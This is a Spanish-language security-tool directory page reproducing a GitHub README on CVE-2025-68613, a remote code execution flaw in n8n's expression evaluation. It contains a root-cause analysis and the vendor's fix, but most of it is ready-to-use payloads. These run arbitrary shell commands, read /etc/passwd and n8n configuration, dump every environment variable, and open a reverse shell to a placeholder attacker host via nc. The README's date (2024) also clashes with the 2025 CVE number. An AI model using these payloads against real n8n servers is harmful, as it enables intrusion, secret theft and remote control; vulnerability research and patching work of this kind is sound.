Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-68613-poc-via-copilot — Análisis técnico detallado y prueba de concepto para CVE-2025-68613, una vulnerabilidad crítica de RCE en la evaluación de expresiones de n8n mediante bypass de contexto this en IIFE. Incluye análisis de causa raíz, vectores de explotación y guía de mitigación. | Kitploit
Herramientas/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Análisis técnico detallado y prueba de concepto para CVE-2025-68613, una vulnerabilidad crítica de RCE en la evaluación de expresiones de n8n mediante bypass de contexto this en IIFE. Incluye análisis de causa raíz, vectores de explotación y guía de mitigación.

Ver Repositorio
11hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

✅ CVE-2025-68613 Análisis completo de la vulnerabilidad de inyección de expresiones RCE en n8n

Fecha: 23 de diciembre de 2024 Estado: ✅ RCE verificado completamente Puntuación CVSS: 10.0 (Crítico)


🎉 Payload RCE exitoso

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Resultado de ejecución: Devuelve correctamente la información del usuario del sistema (p. ej., uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Análisis en profundidad del principio de la vulnerabilidad

Vulnerabilidad principal: el contexto this de la función inmediata (IIFE) no está sanitizado

1. Flujo de evaluación de la expresión

Entrada del usuario
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Creación del objeto de contexto data
  ↓
data.process = referencia al objeto process real
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Clave: this = data
  ↓
Ejecución de la función inmediata
  ↓
this.process.mainModule.require ← ⚠️ Accede al require real
  ↓
Carga del módulo child_process
  ↓
execSync('id') ← 🔥 RCE completo

2. Ubicaciones clave del código

Ubicación 1: Creación del contexto de datos

Archivo: packages/workflow/src/expression.ts Función: Expression.resolveSimpleParameterValue() Líneas: Aproximadamente 230-290

// Genera un proxy de datos
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Punto vulnerable 1: Añadir objeto process a data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problema: aunque solo se exponen algunas propiedades, se pasa una referencia al objeto
// El objeto process real aún es accesible a través de la cadena de prototipos u otros medios
Ubicación 2: Evaluación de Tournament

Archivo: node_modules/@n8n/tournament/src/FunctionEvaluator.ts

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Punto vulnerable 2: data se pasa como this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Punto vulnerable 3: se crea la función con new Function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Ubicación 3: Sanitización de this ausente

Archivo: packages/workflow/src/expression-sandboxing.ts

Antes de v1.122.0:

// ❌ Sin FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Array vacío, sin sanitización de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Después de v1.122.0:

// ✅ Se añadió FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← Hook añadido
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implementación de FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Reescribe todas las expresiones de función, vinculando this a un objeto seguro
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Convierte function() { ... } en function() { ... }.bind({ process: {} })
		}
	});
};
Ubicación 4: Lista negra de propiedades incompleta

Archivo: packages/workflow/src/utils.ts Función: isSafeObjectProperty()

Antes de v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Faltan mainModule, binding, _load

Después de v1.122.0:

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Añadido
	'binding',       // ✅ Añadido
	'_load'          // ✅ Añadido
]);

💣 Técnicas de explotación completas

1. RCE básico

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Ejecutar comandos arbitrarios

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Acceso al sistema de archivos

// Leer archivos sensibles
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Listar directorios
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Leer configuración de n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Listar directorio actual
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Fuga completa de variables de entorno (combinando hallazgos anteriores)

// Acceso directo a través de this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// O usando la forma conocida disponible
{
	{
		JSON.stringify(process.env)
	}
}

5. Acceso a red (preparación para reverse shell)

// Verificar herramientas de red
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obtener interfaces de red
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ ¡Peligroso! Solo para pruebas autorizadas)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Resumen de resultados de verificación de vulnerabilidad

✅ Vectores de ataque explotables confirmados

Descargar herramienta